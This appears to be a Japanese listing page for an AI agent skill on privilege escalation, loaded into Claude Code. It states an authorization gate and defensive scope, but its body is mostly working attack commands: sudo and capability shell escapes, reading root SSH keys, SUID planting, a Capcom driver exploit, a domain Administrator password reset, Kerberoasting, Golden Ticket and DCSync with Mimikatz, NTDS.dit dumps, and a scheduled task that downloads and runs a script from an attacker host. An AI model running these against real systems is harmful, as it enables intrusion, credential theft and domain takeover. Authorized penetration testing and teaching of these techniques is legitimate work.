privilege-escalation-methods について
明示的な許可を得たセキュリティ評価向けに、Linux、Windows、Active Directory の権限昇格手法を扱うスキルです。手法の参考情報に加え、必須の確認手順と防御的な利用範囲を示します。
主な機能
- 01Linux・Windows の昇格手法
- 02Active Directory 攻撃手法
- 03認証情報アクセスの例
- 04許可確認の必須手順
- 05クリーンアップと範囲の指針
活用シーン
- 01管理されたラボでの権限境界の確認
- 02許可済みポストエクスプロイト評価の計画
- 03昇格経路と後処理の記録
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill privilege-escalation-methodsインストール後、Claude Code で/privilege-escalation-methodsを入力して読み込まれたか確認します。
詳細
⚠️ 許可された用途に限ります このスキルは、教育目的または許可を得たセキュリティ評価にのみ使用してください。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの不正使用は違法であり、固く禁じられています。
必須の確認ゲート 対象へのプローブ、エクスプロイト、変更、永続化、データ抽出、または認証情報へのアクセスを試みるコマンドを実行する前に、必ず次の手順を踏んでください。
- ユーザーに、対象となる正確な URL、IP、アカウント、またはリソースを提示するよう求めます。
- 書面による許可と、許可された範囲を確認するようユーザーに求めます。
- 実行するコマンドを正確に示し、想定される影響を説明します。
- 現在の会話内で明示的な確認が得られるまで待ちます。
その確認が得られない場合は、読み取り専用の操作にとどめ、防御的なガイダンスのみを提供してください。サンドボックス、使い捨て VM、または管理されたラボを優先してください。
権限昇格の手法
目的
侵害された Linux および Windows システムで、低権限ユーザーから root/管理者アクセスへ権限を昇格させる包括的な手法を提供します。これは、ペネトレーションテストの侵入後フェーズおよびレッドチーム活動に不可欠です。
入力/前提条件
- 対象システムへの初期の低権限シェルアクセス
- Kali Linux またはペネトレーションテスト用ディストリビューション
- ツール:Mimikatz、PowerView、PowerUpSQL、Responder、Impacket、Rubeus
- Windows/Linux の権限モデルに関する理解
- AD 攻撃の場合:ドメインユーザーの認証情報と DC へのネットワークアクセス
出力/成果物
- root または Administrator のシェルアクセス
- 抽出された認証情報およびハッシュ
- 永続的なアクセス手段
- ドメイン侵害(AD 環境の場合)
デモの境界
以下のコマンドには、破壊的な上書き、SUID/永続化の変更、パスワードのリセット、認証情報の抽出が含まれています。これらは明示的に許可された使い捨てラボ向けの参考資料であり、標準的な評価手順ではありません。特定の権限境界を証明する無害な方法、合成アカウント、所有者と合意したカナリアを優先してください。元の状態を保全し、クリーンアップ/ロールバックの記録を残してください。初期アクセスの許可は、ドメイン全体にわたる認証情報へのアクセスや永続化を許可するものではありません。過去のドライバー/ツールは、影響を受ける正確なバージョンと安定性に関する制約を確認せずに実行しないでください。
主な手法
Linux の権限昇格
1. Sudo バイナリの悪用
GTFOBins の手法を使用して、誤って設定された sudo 権限を悪用します。
# Check sudo permissions
sudo -l
# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts # then type: !bash
sudo man man # then type: !bash
sudo env /bin/bash
2. スケジュールされたタスク(Cron)の悪用
# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab
# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh
# Wait for execution, then:
/bin/bash -p
3. ケイパビリティの悪用
# Find binaries with capabilities
getcap -r / 2>/dev/null
# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar
4. NFS の root squash
# Check for NFS shares
showmount -e <victim_ip>
# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash
5. MySQL の権限境界
mysql クライアントの \! コマンドは、クライアント OS ユーザーとしてローカルで実行されます。データベースアカウントが root であったり、サーバーが root として動作していたりしても、そのシェルが root になるわけではありません。サーバープロセスの実行 ID、データベースの権限付与、ファイルシステムのアクセス許可は、それぞれ個別に確認してください。クライアントシェルのエスケープによる OS 権限昇格を主張しないでください。
Windows の権限昇格
1. トークンの偽装
# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe
# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
2. サービスの悪用
# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
3. SeBackupPrivilege の悪用
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
4. SeLoadDriverPrivilege の悪用
# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe
5. GPO の悪用
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
--Author DOMAIN\<USER> --Command "cmd.exe" `
--Arguments "/c net user Administrator Password!@# /domain" `
--GPOName "ADDITIONAL DC CONFIGURATION"
Active Directory 攻撃
1. Kerberoasting
# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
2. AS-REP Roasting
.\Rubeus.exe asreproast
3. Golden Ticket
# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt
# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
/sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
4. Pass-the-Ticket
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist # Verify ticket
5. スケジュールされたタスクを使用した Golden Ticket
# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch
# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
/domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi
# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" # security-allowlist: offensive scheduled-task detection example
schtasks /run /s DOMAIN /TN "enterprise"
認証情報の収集
LLMNR ポイズニング
# Start Responder
responder -I eth1 -v
# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico
NTLM リレー
responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support
VSS によるダンプ
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
クイックリファレンス
| 手法 | OS | ドメイン必須 | ツール |
|---|---|---|---|
| Sudo バイナリの悪用 | Linux | いいえ | GTFOBins |
| Cron ジョブの悪用 | Linux | いいえ | 手動 |
| ケイパビリティの悪用 | Linux | いいえ | getcap |
| NFS no_root_squash | Linux | いいえ | mount |
| トークン偽装 | Windows | いいえ | SweetPotato |
| サービスの悪用 | Windows | いいえ | PowerUp |
| Kerberoasting | Windows | はい | Rubeus/Impacket |
| AS-REP Roasting | Windows | はい | Rubeus |
| Golden Ticket | Windows | はい | Mimikatz |
| Pass-the-Ticket | Windows | はい | Rubeus |
| DCSync | Windows | はい | Mimikatz |
| LLMNR ポイズニング | Windows | はい | Responder |
制約事項
必須:
- 権限昇格を試みる前に、初期シェルアクセスを確保してください
- 手法を選択する前に、対象の OS と環境を確認してください
- ドメイン環境とローカル環境の権限昇格に適したツールを使用してください
禁止事項:
- 許可なく本番システムで手法を試みないでください
- クライアントの承認なしに永続化の仕組みを残さないでください
- 検知メカニズム(EDR、SIEM)を無視しないでください
推奨事項:
- 悪用する前に、徹底的に列挙してください
- 成功した権限昇格経路をすべて記録してください
- 作業終了後にアーティファクトを削除してください
例
例 1:Linux で sudo から root へ
# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
(root) NOPASSWD: /usr/bin/vim
# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
例 2:Windows の Kerberoasting
# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt
トラブルシューティング
| 問題 | 解決策 |
|---|---|
| sudo -l でパスワードが必要になる | 他の列挙方法(SUID、cron、ケイパビリティ)を試してください |
| セキュリティツールによってブロックされる | 停止して作業責任者と調整してください。承認済みの計画外で制御を回避しないでください |
| Kerberoasting でハッシュが返されない | SPN を持つサービスアカウントを確認してください |
| トークン偽装に失敗する | SeImpersonatePrivilege が存在することを確認してください |
| NFS のマウントに失敗する | NFS のバージョン互換性(vers=2,3,4)を確認してください |
追加リソース
詳細な列挙スクリプトについては、以下を使用してください。
- LinPEAS:Linux の権限昇格に関する列挙
- WinPEAS:Windows の権限昇格に関する列挙
- BloodHound:Active Directory の攻撃経路のマッピング
- GTFOBins:Unix バイナリ悪用のリファレンス
使用するタイミング
このスキルは、概要で説明されているワークフローまたはアクションを実行する際に適用できます。